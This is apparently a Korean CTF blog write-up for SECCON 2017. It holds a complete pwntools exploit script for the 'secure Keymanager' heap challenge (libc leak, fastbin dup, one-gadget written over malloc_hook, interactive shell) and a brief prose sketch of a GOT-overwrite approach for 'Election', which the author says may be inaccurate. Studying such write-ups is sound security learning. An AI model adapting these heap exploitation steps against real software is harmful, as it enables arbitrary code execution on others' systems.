ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SECCON 2017 secure Keymanager, Election
    Pwnable/CTF 2018. 1. 10. 13:41

    fastbin dup, malloc_usable_size


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    from pwn import *
     
    p=process("./secure_keymanager")
    elf=ELF("./secure_keymanager")
     
    def init(name,master):
        p.sendafter('>> ',name)
        p.sendlineafter('>> ',master)
     
    def add(length,title,key):
        p.sendlineafter('>> ','1')
        p.sendlineafter('...',str(length))
        p.sendafter('...',title)
        p.sendafter('...',key)
     
    def add_2(length,title):
        p.sendlineafter('>> ','1')
        p.sendlineafter('...',str(length))
        p.sendlineafter('...',title)
     
    def edit(name,master,idx,key):
        p.sendlineafter('>> ','3')
        init(name,master)
        p.sendlineafter('...',str(idx))
        p.sendlineafter('...',key)
     
    def remove(name,master,idx):
        p.sendlineafter('>> ','4')
        init(name,master)
        p.sendlineafter('...',str(idx))
     
    def change(name,master,new_master):
        p.sendlineafter('>> ','9')
        init(name,master)
        p.sendlineafter('>> ',new_master)
     
    init(p64(0)+p64(0x41),"AAAA"#prev_size size
     
    p.sendlineafter('>> ','9')
    p.sendlineafter('>> ',"C"*39)
    p.recvuntil('C\n')
    puts = u64(p.recv(6)+"\x00\x00"- 362
    libc_base = puts - 0x6f690
    system = libc_base + 0x45390
    malloc_hook = libc_base + 0x3c4b10
    one_shot = libc_base + 0xf0274
    print hex(puts)
    print hex(malloc_hook)
    add(24,"aaaa","aaaa")
    add(24,"bbbb","bbbb")
    add(24,"cccc","cccc")
    remove(p64(0),"AAAA",2)
    remove(p64(0),"AAAA",1)
    remove(p64(0),"AAAA",2)
     
    add(24,p64(0x6020c0),"cccc")
    add(24,"bbbb","bbbb")
    add(24,"cccc","cccc")
     
    add(24,"d"*16+p64(malloc_hook-0x15b+0x10)+p32(elf.got['puts']),p64(malloc_hook-0x15b+0x10+0x68-0x8)) #0, 2 key list input
     
    edit(p64(0),"AAAA",0,"A"*56+p64(0x400))
    payload = "A"*0xcb
    payload += p64(one_shot)
    edit(p64(0),"AAAA",2,payload)
    sleep(1)
    remove(p64(0),"AAAA",1)
     
    p.interactive()
    cs


    ELECTION 


    election 문제에서 Oshima라는 이름으로 수정할려고하면 read 오버플로우가 일어나는데 그때 자기가 원하는주소에 있는 값을 자기가 정할수있다.

    (default로 +1씩 더해줌) 

    링크 드리스트로 이어져있기때문에 힙 주소를 릭하고 Oshima이름을 가진 포인터하고 연결을 해줘야되는데 에서 default로 포인터 주소를 계속 더해주다보면 힙 주소를 가르키게끔 되는데 그렇게 힙을 릭하고


    fake heap이나 fake bss를 만들어서 거기에 맞게 name포인터를 got로 그 옆에 링크를 oshima이름으로 해주고 이름을 print해줘서 출력시키고 위에 나와있는 것으로 수정을해줘서 got를 덮을수있다. (election 문제 푼지 기간이 조금 지나가지고 설명이 틀릴수있습니다 ..)




    'Pwnable > CTF' 카테고리의 다른 글

    WITHCON 2017 combination  (0) 2018.01.12
    SECCON 2017 video_player  (0) 2018.01.11
    Christmas CTF 2017 bookstore  (0) 2017.12.30
    Christmas CTF 2017 infinite cat  (0) 2017.12.30
    HITCON 2016 house_of_orange  (2) 2017.12.11
Designed by Tistory.